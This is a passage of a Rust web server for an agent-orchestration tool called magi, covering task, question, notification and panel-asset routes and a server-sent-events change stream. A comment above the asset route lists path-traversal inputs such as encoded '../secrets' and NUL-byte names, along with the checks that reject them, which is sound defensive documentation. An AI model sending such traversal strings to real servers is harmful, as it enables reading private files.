5292/// killed daemon is a leftover, and treating either as authority made the
5293/// task undeletable from the phone for good. The associated runs, if any, are
5294/// kept: a run is self-contained history and not an appendage of the task.
5295async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5296    blocking(move || {
5297        let id = resolve_task(&ui.queue, &id)?;
5298        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5299        ui.queue
5300            .remove(&id, in_flight, &ui.questions)
5301            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5302        Ok(StatusCode::NO_CONTENT)
5303    })
5304    .await
5305}
5306
5307/// Read a task, change it, write it back, under the queue's own lock.
5308///
5309/// Taking the same claim a daemon takes is what makes hold, release,
5310/// priority, edit, and done safe to press while magi is running: without it
5311/// the daemon's next save would land on top of the operator's change and
5312/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
5313/// both do, for a running task - and that refusal becomes the 4xx the card
5314/// shows, same as any other domain rule.
5315async fn mutate(
5316    ui: Arc<Ui>,
5317    id: String,
5318    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5319) -> ApiResult<Json<TaskView>> {
5320    blocking(move || {
5321        let id = resolve_task(&ui.queue, &id)?;
5322        // `claim` fails when the lock file already exists, which is the
5323        // conflict the UI must report: the daemon owns that task's file for
5324        // as long as it is running it, and our write would be lost under its
5325        // next save. The message names the lock either way.
5326        let _claim = ui.queue.claim(&id).map_err(|e| {
5327            ApiError::conflict(format!(
5328                "{e:#} - a daemon is running this task, so it cannot be \
5329                 changed from here yet"
5330            ))
5331        })?;
5332        let mut task = ui.queue.get(&id)?;
5333        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5334            Ok(dup) => ApiError::conflict(dup.render(
5335                "Nothing was saved. If it is not a duplicate, repeat the request with \
5336                 \"force\": true.",
5337            )),
5338            Err(e) => ApiError::bad_request_from(e),
5339        })?;
5340        ui.queue.put(&mut task)?;
5341        Ok(Json(TaskView::from(task)))
5342    })
5343    .await
5344}
5345
5346/// The change stream: one revision number per store, on connect and whenever
5347/// any of them moves.
5348///
5349/// The poll runs in one spawned task per client, which is affordable because
5350/// the work is a directory scan and a `stat` per file. It stops as soon as the
5351/// receiver is gone, so a phone that walks out of range costs nothing after
5352/// its next tick - there is no session and no cleanup to forget.
5353async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5354    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5355    tokio::spawn(async move {
5356        let mut ticker = tokio::time::interval(POLL);
5357        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5358        let mut stamps: Option<[Stamps; 3]> = None;
5359        loop {
5360            // The first tick completes immediately, which is what makes the
5361            // stream announce the current revisions on connect.
5362            ticker.tick().await;
5363            let state = Arc::clone(&ui);
5364            let revisions = tokio::task::spawn_blocking(move || {
5365                let stamps = [
5366                    store_stamps(state.queue.root(), false),
5367                    store_stamps(&state.runs, true),
5368                    store_stamps(state.talks.root(), false),
5369                ];
5370                let revisions = (
5371                    stamps_revision(&stamps[0]),
5372                    stamps_revision(&stamps[1]),
5373                    state.questions.revision(),
5374                    stamps_revision(&stamps[2]),
5375                    state.notices.revision(),
5376                    // The loop's counter is in-process state rather than a
5377                    // file, so nothing the three stats above look at would
5378                    // tell this phone that another one started the loop.
5379                    state.lock_loop().rev,
5380                );
5381                (revisions, stamps)
5382            })
5383            .await;
5384            let Ok((revisions, next_stamps)) = revisions else {
5385                break;
5386            };
5387            if last == Some(revisions) {
5388                continue;
5389            }
5390            let mut payload = serde_json::json!({
5391                "queue_rev": revisions.0,
5392                "runs_rev": revisions.1,
5393                "questions_rev": revisions.2,
5394                "talks_rev": revisions.3,
5395                "notifications_rev": revisions.4,
5396                "loop_rev": revisions.5,
5397            });
5398            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5399                for (index, (key, rev)) in [
5400                    ("queue_delta", base.0),
5401                    ("runs_delta", base.1),
5402                    ("talks_delta", base.3),
5403                ]
5404                .into_iter()
5405                .enumerate()
5406                {
5407                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5408                    // Empty diffs may mean a non-file dependency moved. Read whole.
5409                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5410                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
5411                    }
5412                }
5413            }
5414            last = Some(revisions);
5415            stamps = Some(next_stamps);
5416            // Giving up beats looping if the receiver is gone.
5417            let Ok(event) = Event::default().event("change").json_data(payload) else {
5418                break;
5419            };
5420            if tx.send(event).await.is_err() {
5421                break;
5422            }
5423        }
5424    });
5425    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5426        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5427}
5428
5429type Stamps = HashMap<String, (u128, u64)>;
5430
5431/// Metadata only: no task instructions or conversation bodies are read here.
5432fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5433    std::fs::read_dir(root)
5434        .into_iter()
5435        .flatten()
5436        .flatten()
5437        .filter_map(|entry| {
5438            let path = if runs {
5439                entry.path().join("run.json")
5440            } else {
5441                entry.path()
5442            };
5443            if !runs && path.extension().is_none_or(|ext| ext != "json") {
5444                return None;
5445            }
5446            let metadata = path.metadata().ok()?;
5447            let modified = metadata
5448                .modified()
5449                .ok()?
5450                .duration_since(std::time::UNIX_EPOCH)
5451                .ok()?;
5452            let id = if runs {
5453                entry.file_name().to_string_lossy().into_owned()
5454            } else {
5455                path.file_stem()?.to_string_lossy().into_owned()
5456            };
5457            Some((id, (modified.as_nanos(), metadata.len())))
5458        })
5459        .collect()
5460}
5461
5462#[derive(Debug, Serialize)]
5463struct Delta {
5464    base: u64,
5465    changed: Vec<String>,
5466    removed: Vec<String>,
5467}
5468
5469fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5470    let mut changed: Vec<_> = next
5471        .iter()
5472        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5473        .map(|(id, _)| id.clone())
5474        .collect();
5475    let mut removed: Vec<_> = previous
5476        .keys()
5477        .filter(|id| !next.contains_key(*id))
5478        .cloned()
5479        .collect();
5480    changed.sort_unstable();
5481    removed.sort_unstable();
5482    Delta {
5483        base,
5484        changed,
5485        removed,
5486    }
5487}
5488
5489/// Change detection token for recorded runs under `runs`.
5490///
5491/// Combines the id and `run.json` modification time of each run, so adding,
5492/// updating, or deleting any run — even an older one — moves the revision and
5493/// notifies connected clients via the change stream. Returns 0 when no runs
5494/// exist.
5495fn runs_revision(runs: &FsPath) -> u64 {
5496    stamps_revision(&store_stamps(runs, true))
5497}
5498
5499/// Opaque tokens use the exact metadata snapshot behind the delta, in both
5500/// health and SSE. Nanoseconds and length also detect same-millisecond writes
5501/// and deleting an older conversation (a newest-mtime token cannot do that).
5502fn stamps_revision(stamps: &Stamps) -> u64 {
5503    use std::hash::{Hash as _, Hasher as _};
5504    if stamps.is_empty() {
5505        return 0;
5506    }
5507    let mut entries: Vec<_> = stamps.iter().collect();
5508    entries.sort_unstable();
5509    let mut hasher = std::hash::DefaultHasher::new();
5510    entries.hash(&mut hasher);
5511    hasher.finish().max(1)
5512}
5513
5514/// Run ids under `runs`, newest first.
5515///
5516/// Rooted at an explicit directory rather than calling [`run::list_ids`],
5517/// which reads the process-global home: the server has to be drivable against
5518/// a temp directory for any of this to be testable.
5519fn run_ids(runs: &FsPath) -> Vec<String> {
5520    let mut ids: Vec<String> = std::fs::read_dir(runs)
5521        .into_iter()
5522        .flatten()
5523        .flatten()
5524        .filter(|e| e.path().join("run.json").is_file())
5525        .map(|e| e.file_name().to_string_lossy().into_owned())
5526        .collect();
5527    // Ids start with a sortable timestamp.
5528    ids.sort_unstable_by(|a, b| b.cmp(a));
5529    ids
5530}
5531
5532/// Read one run's state from an explicit runs root.
5533fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5534    let path = runs.join(id).join("run.json");
5535    let body =
5536        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5537    let state: RunState =
5538        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5539    // The same migration `RunState::load` applies, so a record from the
5540    // previous schema reads here as it does everywhere else (an origin-less
5541    // run shows as "origin unknown") instead of vanishing from the phone the
5542    // moment the schema is bumped.
5543    run::migrate_schema(state)
5544}
5545
5546/// Runs on disk under `runs` whose state this build cannot parse - almost
5547/// always a schema bump, occasionally a run killed mid-write.
5548///
5549/// Exposed so every surface that reports on runs shares one count instead of
5550/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
5551/// `magi doctor` calls this directly rather than guessing at the same number
5552/// a second way.
5553#[must_use]
5554pub fn runs_unreadable(runs: &FsPath) -> usize {
5555    run_ids(runs)
5556        .into_iter()
5557        .filter(|id| read_run(runs, id).is_err())
5558        .count()
5559}
5560
5561/// Expand an id or short id to exactly one run id.
5562fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5563    if runs.join(id).join("run.json").is_file() {
5564        return Ok(id.to_owned());
5565    }
5566    pick(run_ids(runs), id, "run")
5567}
5568
5569/// Expand an id or short id to exactly one task id.
5570fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5571    if queue.path_of(id).is_file() {
5572        return Ok(id.to_owned());
5573    }
5574    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5575}
5576
5577/// A question as the phone reads it.
5578///
5579/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
5580/// text already parsed into a node tree so the client never runs its own
5581/// markdown reader over agent-authored prose. A relative image path in it
5582/// resolves against this question's own panel asset route, which is the one
5583/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
5584/// separate, sandboxed document, but `detail` is rendered inline in the
5585/// operator's own page, so an image reference in it may only ever point at
5586/// files magi itself already serves for this question.
5587#[derive(Debug, Serialize)]
5588struct QuestionView {
5589    #[serde(flatten)]
5590    question: Question,
5591    detail_md: Vec<md::Node>,
5592    /// Each thread turn's body, parsed; same order as `question.thread`.
5593    thread_bodies_md: Vec<Vec<md::Node>>,
5594    /// Each thread turn's deputy note, parsed (`None` for a turn without
5595    /// one); same order as `question.thread`.
5596    thread_notes_md: Vec<Option<Vec<md::Node>>>,
5597    /// Is the ball in the agent's court right now?
5598    ///
5599    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
5600    /// [`Question::say`] - so this is the one field that tells the phone to
5601    /// disable the answer controls and show "waiting for the agent" instead of
5602    /// a card the owner can act on. Computed rather than stored on
5603    /// [`Question`] itself, on the same reasoning as `waiting` on
5604    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
5605    /// it here means the client never has to re-derive that rule.
5606    waiting_on_agent: bool,
5607    /// Who is waiting on this open question - see [`holder_of`]. Separate
5608    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
5609    /// anyone is there to take it.
5610    holder: Option<&'static str>,
5611    /// Whether `magi serve` can start a follow-up agent for a conductor
5612    /// question at all: false when `daemon.max_deputies = 0` or the config is
5613    /// unreadable. Separate from `holder`, which says who is listening now.
5614    deputies_enabled: bool,
5615    /// `question.run` is a task id (conductor / triage questions), not a run
5616    /// id, so the UI links it to the task page.
5617    run_is_task: bool,
5618    /// The chat conversation this question's task came from, when the owner
5619    /// may hand the question to it - see [`crate::consult::origin_talk`]. The
5620    /// UI offers "Ask the chat agent" only when this is set; it is never one
5621    /// of `question.choices`.
5622    origin_chat: Option<String>,
5623    /// `origin_chat` is closed; consulting reopens it first.
5624    origin_chat_closed: bool,
5625}
5626
5627impl QuestionView {
5628    /// The view of `question`, reading who is waiting on it from `store`.
5629    ///
5630    /// `holder` needs the lease sidecar, which is why this is not a `From`.
5631    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5632        let base = md::ImageBase::QuestionPanel {
5633            id: question.id.clone(),
5634        };
5635        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5636        Self {
5637            detail_md: md::to_nodes(&question.detail, &base),
5638            thread_bodies_md: question
5639                .thread
5640                .iter()
5641                .map(|t| md::to_nodes(&t.body, &base))
5642                .collect(),
5643            thread_notes_md: question
5644                .thread
5645                .iter()
5646                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5647                .collect(),
5648            waiting_on_agent: question.waiting_on_agent(),
5649            holder,
5650            deputies_enabled,
5651            run_is_task: question.run_names_task(),
5652            origin_chat: None,
5653            origin_chat_closed: false,
5654            question,
5655        }
5656    }
5657
5658    /// Fill `origin_chat` from the queue and the talks.
5659    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5660        let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5661        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5662        self.origin_chat = talk.map(|t| t.id);
5663        self
5664    }
5665}
5666
5667/// The config this repository resolves, or `None` when it cannot be read.
5668/// Discovering is git processes plus a config render, so a request that needs
5669/// it for many items takes it once and passes it down.
5670fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5671    Config::discover(repo, None).ok().map(|(c, _)| c)
5672}
5673
5674/// Can `magi serve` start a deputy for this question under `cfg`?
5675fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5676    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5677}
5678
5679/// The views `GET /api/questions` answers. `load` runs at most once, however
5680/// many questions there are, and not at all when there are none.
5681fn question_views(
5682    qs: Vec<Question>,
5683    store: &ask::Questions,
5684    load: impl FnOnce() -> Option<Config>,
5685) -> Vec<QuestionView> {
5686    if qs.is_empty() {
5687        return Vec::new();
5688    }
5689    let cfg = load();
5690    qs.into_iter()
5691        .map(|q| {
5692            let on = deputies_enabled(cfg.as_ref(), &q);
5693            QuestionView::of(q, store, on)
5694        })
5695        .collect()
5696}
5697
5698/// Who is honestly waiting on an open question right now: `"asker"` (the
5699/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
5700/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
5701/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
5702/// up, or the question never had anyone listening (a conductor question or a
5703/// merge approval from before deputies, or not yet given one).
5704///
5705/// `None` for a question that is settled, and for one that is not an agent's
5706/// to wait on at all (a release notice).
5707fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5708    if !q.status.open() {
5709        return None;
5710    }
5711    if q.cwd.is_none() && q.deputy.is_none() {
5712        return crate::deputy::kind_of(q).map(|_| "nobody");
5713    }
5714    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5715        Some(_) if q.deputy.is_some() => "deputy",
5716        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5717        Some(_) => "asker",
5718        None => "nobody",
5719    })
5720}
5721
5722/// `GET /api/questions`.
5723///
5724/// Everything, not just the open ones: an answered question is the record of a
5725/// decision, and the phone is where the operator goes back to check what they
5726/// told an agent at 3am. `ask::Questions::list` already ranks open first.
5727async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5728    blocking(move || {
5729        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5730        Ok(Json(
5731            question_views(ui.questions.list(), &ui.questions, || {
5732                deputy_config(&ui.repo)
5733            })
5734            .into_iter()
5735            .map(|v| v.with_origin(&tasks, &talks))
5736            .collect(),
5737        ))
5738    })
5739    .await
5740}
5741
5742/// `GET /api/notifications`: not dismissed, newest first, with the unread
5743/// count so the badge and the list cannot disagree.
5744async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5745    blocking(move || {
5746        let items = ui.notices.list();
5747        let unread = items.iter().filter(|n| n.unread()).count();
5748        Ok(Json(
5749            serde_json::json!({ "unread": unread, "items": items }),
5750        ))
5751    })
5752    .await
5753}
5754
5755fn notice_error(e: anyhow::Error) -> ApiError {
5756    // An unknown or malformed id and a vanished file are the same answer to
5757    // the phone: that notification is gone.
5758    ApiError::not_found(format!("{e:#}"))
5759}
5760
5761/// `POST /api/notifications/{id}/read`.
5762async fn notification_read(
5763    State(ui): State<Arc<Ui>>,
5764    Path(id): Path<String>,
5765) -> ApiResult<Json<Notice>> {
5766    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5767}
5768
5769/// `POST /api/notifications/{id}/dismiss`.
5770async fn notification_dismiss(
5771    State(ui): State<Arc<Ui>>,
5772    Path(id): Path<String>,
5773) -> ApiResult<Json<Notice>> {
5774    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5775}
5776
5777/// `POST /api/notifications/read-all`.
5778async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5779    blocking(move || {
5780        let changed = ui.notices.mark_all_read()?;
5781        Ok(Json(serde_json::json!({ "marked": changed })))
5782    })
5783    .await
5784}
5785
5786/// The body of `POST /api/questions/{id}/answer`.
5787///
5788/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
5789/// a bad request rather than a guess: an answer magi invented is worse than a
5790/// question left open.
5791#[derive(Debug, Default, Deserialize)]
5792#[serde(default, deny_unknown_fields)]
5793struct NewAnswer {
5794    choice: Option<String>,
5795    text: Option<String>,
5796}
5797
5798async fn question_answer(
5799    State(ui): State<Arc<Ui>>,
5800    Path(id): Path<String>,
5801    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5802) -> ApiResult<Json<QuestionView>> {
5803    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5804    let answer = match (body.choice, body.text) {
5805        (Some(c), None) => Answer::Choice(c),
5806        (None, Some(t)) => Answer::Text(t),
5807        (Some(_), Some(_)) => {
5808            return Err(ApiError::bad_request(
5809                "send either `choice` or `text`, not both",
5810            ));
5811        }
5812        (None, None) => {
5813            return Err(ApiError::bad_request("send a `choice` or a `text`"));
5814        }
5815    };
5816
5817    blocking(move || {
5818        let id = resolve_question(&ui.questions, &id)?;
5819        let q = ui
5820            .questions
5821            .get(&id)
5822            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5823        if !q.status.open() {
5824            // Answered from the terminal, or by another phone, in between the
5825            // list and the tap. The UI shows the recorded answer rather than an
5826            // error, so it needs the record, not just the status.
5827            return Err(ApiError::conflict(format!(
5828                "question {} is already {}",
5829                q.short(),
5830                q.status.as_str()
5831            )));
5832        }
5833        // `Question::answer` owns the rules - an unoffered choice, free text on
5834        // a multiple-choice question, an empty reply - so the route does not
5835        // restate them and cannot drift from the CLI's behaviour.
5836        let (q, ()) = ui
5837            .questions
5838            .update(&q.id, |r| r.answer(answer))
5839            .map_err(ApiError::bad_request_from)?;
5840        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5841        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5842        Ok(Json(
5843            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5844        ))
5845    })
5846    .await
5847}
5848
5849/// The body of `POST /api/questions/{id}/say`.
5850#[derive(Debug, Deserialize)]
5851#[serde(deny_unknown_fields)]
5852struct NewSay {
5853    body: String,
5854}
5855
5856/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
5857///
5858/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
5859/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
5860/// file, so there is no turn to serialize against and no
5861/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
5862/// is a *different* process - the run parked behind `magi ask` - and picks
5863/// the reply up on its own poll of the very same file, same as an answer
5864/// does.
5865async fn question_say(
5866    State(ui): State<Arc<Ui>>,
5867    Path(id): Path<String>,
5868    body: std::result::Result<Json<NewSay>, JsonRejection>,
5869) -> ApiResult<Json<QuestionView>> {
5870    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5871    blocking(move || {
5872        let id = resolve_question(&ui.questions, &id)?;
5873        let q = ui
5874            .questions
5875            .get(&id)
5876            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5877        if !q.status.open() {
5878            // Same granularity as `question_answer`: answered or abandoned in
5879            // between the list and the tap is not this route's error to
5880            // explain any differently.
5881            return Err(ApiError::conflict(format!(
5882                "question {} is already {}",
5883                q.short(),
5884                q.status.as_str()
5885            )));
5886        }
5887        // `Question::say` owns the one rule that matters here - an empty
5888        // message tells the agent nothing - so the route does not restate it.
5889        let (q, ()) = ui
5890            .questions
5891            .update(&q.id, |r| r.say(body.body))
5892            .map_err(ApiError::bad_request_from)?;
5893        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5894        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5895        Ok(Json(
5896            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5897        ))
5898    })
5899    .await
5900}
5901
5902/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
5903/// came from. The question stays open: the chat agent answers it with `magi
5904/// answer`, or puts the decision to the owner in the conversation.
5905///
5906/// Answers 202 and runs the turn in the background, like every route that
5907/// spends agent calls. The text is queued as a draft of the existing talk, and
5908/// the turn goes through the talk's own gate and session; no seat or waiter is
5909/// started here.
5910async fn question_consult(
5911    State(ui): State<Arc<Ui>>,
5912    Path(id): Path<String>,
5913) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5914    let (view, reclaimed) = blocking({
5915        let ui = Arc::clone(&ui);
5916        move || {
5917            let id = resolve_question(&ui.questions, &id)?;
5918            let q = ui
5919                .questions
5920                .get(&id)
5921                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5922            if !q.status.open() {
5923                return Err(ApiError::conflict(format!(
5924                    "question {} is already {}",
5925                    q.short(),
5926                    q.status.as_str()
5927                )));
5928            }
5929            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5930            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5931                return Err(ApiError::conflict(format!(
5932                    "question {} has no chat to ask",
5933                    q.short()
5934                )));
5935            };
5936            // Read the config before `begin` saves anything: a failure here
5937            // must leave no consult record or draft behind, or a retry would
5938            // see `fresh == false` and never start the turn.
5939            let cfg = if q.consult.is_none() {
5940                Some(Config::discover(&talk.repo, None)?.0)
5941            } else {
5942                None
5943            };
5944            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5945            let claim = if fresh {
5946                match ui.begin_queued_talk_turn(&talk.id)? {
5947                    Some(turn_guard) => {
5948                        let talk = ui.talks.get(&talk.id)?;
5949                        let cfg = match cfg {
5950                            Some(cfg) => cfg,
5951                            None => Config::discover(&talk.repo, None)?.0,
5952                        };
5953                        Some((talk, cfg, turn_guard))
5954                    }
5955                    None => None,
5956                }
5957            } else {
5958                None
5959            };
5960            let q = ui.questions.get(&q.id)?;
5961            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5962            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5963            Ok((view, claim))
5964        }
5965    })
5966    .await?;
5967    if let Some((talk, cfg, turn_guard)) = reclaimed {
5968        let talks = ui.talks.clone();
5969        let id = talk.id.clone();
5970        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5971    }
5972    Ok((StatusCode::ACCEPTED, Json(view)))
5973}
5974
5975/// Expand an id or short id to exactly one question id.
5976fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5977    if store.path_of(id).is_file() {
5978        return Ok(id.to_owned());
5979    }
5980    pick(
5981        store.list().into_iter().map(|q| q.id).collect(),
5982        id,
5983        "question",
5984    )
5985}
5986
5987/// `GET /api/questions/{id}/panel`.
5988///
5989/// The panel an agent wrote for this question, as `text/html` under
5990/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
5991/// A question without one is a 404 rather than an empty page: the client
5992/// preflights this route with `HEAD` and must be able to tell "no panel" from
5993/// "a panel that rendered blank", and a sandboxed frame is opaque to the
5994/// parent document so it cannot tell the difference by looking.
5995///
5996/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
5997/// sanitises or minifies it - a sanitiser is a list of things someone thought
5998/// of, and the sandbox plus the CSP is a list of things that are allowed, which
5999/// is the direction that stays safe when an agent writes markup nobody
6000/// predicted.
6001async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6002    blocking(move || {
6003        let id = resolve_question(&ui.questions, &id)?;
6004        let Some(html) = ui.questions.panel_html(&id) else {
6005            return Err(ApiError::not_found(format!("question {id} has no panel")));
6006        };
6007        Ok(panel_response(
6008            "text/html; charset=utf-8",
6009            false,
6010            html.into_bytes(),
6011        ))
6012    })
6013    .await
6014}
6015
6016/// `GET /api/questions/{id}/asset/{name}`.
6017///
6018/// One file from the question's own panel directory, so a panel can show a
6019/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
6020/// having to allow anything off this machine.
6021///
6022/// This is the only route in the server where a client names a file, so it is
6023/// the only one with a traversal surface, and the name is checked by
6024/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
6025/// what is worth being explicit about, because the answer is not "all of it in
6026/// one place":
6027///
6028/// * `asset/../../secrets` never reaches this handler at all. axum matches on
6029///   the raw request path and `{name}` spans exactly one segment, so a real
6030///   slash makes the request too long for the route and the router answers 404.
6031/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
6032///   percent-decodes path parameters, so `name` arrives as `../secrets` and
6033///   `..\secrets` respectively, which look like plain filenames to the router.
6034///   The validator refuses them here - both for the literal `..` and because
6035///   `/` and `\` are not in the permitted character set - and answers 400.
6036/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
6037///   the platform's path API is not, and it is refused here for the same
6038///   reason: NUL is not a permitted character.
6039/// * [`Questions::panel_asset`] validates again on read, so the check is not
6040///   load-bearing in only one place. This route's own check exists so the
6041///   failure is a 400 that says which name was wrong, rather than a store error
6042///   the operator has to interpret.
6043async fn question_asset(
6044    State(ui): State<Arc<Ui>>,
6045    Path((id, name)): Path<(String, String)>,
6046) -> ApiResult<Response> {
6047    // Before any filesystem work and before any path is built: a name this
6048    // server will not serve should not become a `PathBuf` at all.
6049    if !crate::ask::valid_asset_name(&name) {
6050        return Err(ApiError::bad_request(format!(
6051            "`{name}` is not a usable asset name"
6052        )));
6053    }
6054    blocking(move || {
6055        let id = resolve_question(&ui.questions, &id)?;
6056        let asset = ui
6057            .questions
6058            .panel_asset(&id, &name)
6059            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6060        let Some(bytes) = asset else {
6061            return Err(ApiError::not_found(format!(
6062                "question {id} has no asset `{name}`"
6063            )));
6064        };
6065        Ok(panel_response(
6066            asset_content_type(&name),
6067            is_svg(&name),
6068            bytes,
6069        ))
6070    })
6071    .await
6072}
6073
6074/// Content type for a panel asset, from a closed whitelist.
6075///
6076/// A whitelist with an `application/octet-stream` fallback rather than a
6077/// guess, because the one answer that must never come out of here is
6078/// `text/html`. An agent that writes `notes.html` into its panel directory and
6079/// links it would otherwise get its own markup rendered at the top level of the
6080/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
6081/// magi's origin - which is precisely the thing the panel design exists to
6082/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
6083///
6084/// `nosniff` accompanies this on every response, so a browser cannot decide it
6085/// knows better than the type we sent.
6086fn asset_content_type(name: &str) -> &'static str {
6087    match extension(name).as_deref() {
6088        Some("png") => "image/png",
6089        Some("jpg" | "jpeg") => "image/jpeg",
6090        Some("gif") => "image/gif",
6091        Some("webp") => "image/webp",
6092        Some("svg") => "image/svg+xml",
6093        Some("css") => "text/css; charset=utf-8",
6094        Some("txt") => "text/plain; charset=utf-8",
6095        _ => "application/octet-stream",
6096    }
6097}
6098
6099/// Is this an SVG, and therefore a file that must never be opened at the top
6100/// level?
6101fn is_svg(name: &str) -> bool {
6102    extension(name).as_deref() == Some("svg")
6103}
6104
6105/// Lowercased extension, or `None` for a name without one.
6106fn extension(name: &str) -> Option<String> {
6107    name.rsplit_once('.')
6108        .map(|(_, ext)| ext.to_ascii_lowercase())
6109}
6110
6111/// Every panel response, with the four headers that make it safe and, for an
6112/// SVG, a fifth.
6113///
6114/// One function rather than a header list per handler, because a panel route
6115/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
6116/// model gone, silently, on one of two routes. Adding a third panel route later
6117/// means calling this, and there is nowhere else to build a panel response.
6118///
6119/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
6120/// as an `<img src>` inside the panel that script cannot run - but the asset
6121/// URL is also a plain URL an operator can be talked into opening in a tab,
6122/// where it is a document on magi's own origin. `Content-Disposition:
6123/// attachment` makes the browser download it instead of rendering it, which
6124/// closes that door without taking away the ability to draw a diff. Raster
6125/// images have no such execution surface and are left inline, so tapping a
6126/// screenshot still shows it.
6127fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6128    let mut res = (
6129        [
6130            (header::CONTENT_TYPE, content_type),
6131            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6132            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6133            (header::REFERRER_POLICY, "no-referrer"),
6134        ],
6135        body,
6136    )
6137        .into_response();
6138    if download {
6139        res.headers_mut().insert(
6140            header::CONTENT_DISPOSITION,
6141            HeaderValue::from_static("attachment"),
6142        );
6143    }
6144    res
6145}
6146
6147/// A talk as the phone reads it.
6148///
6149/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
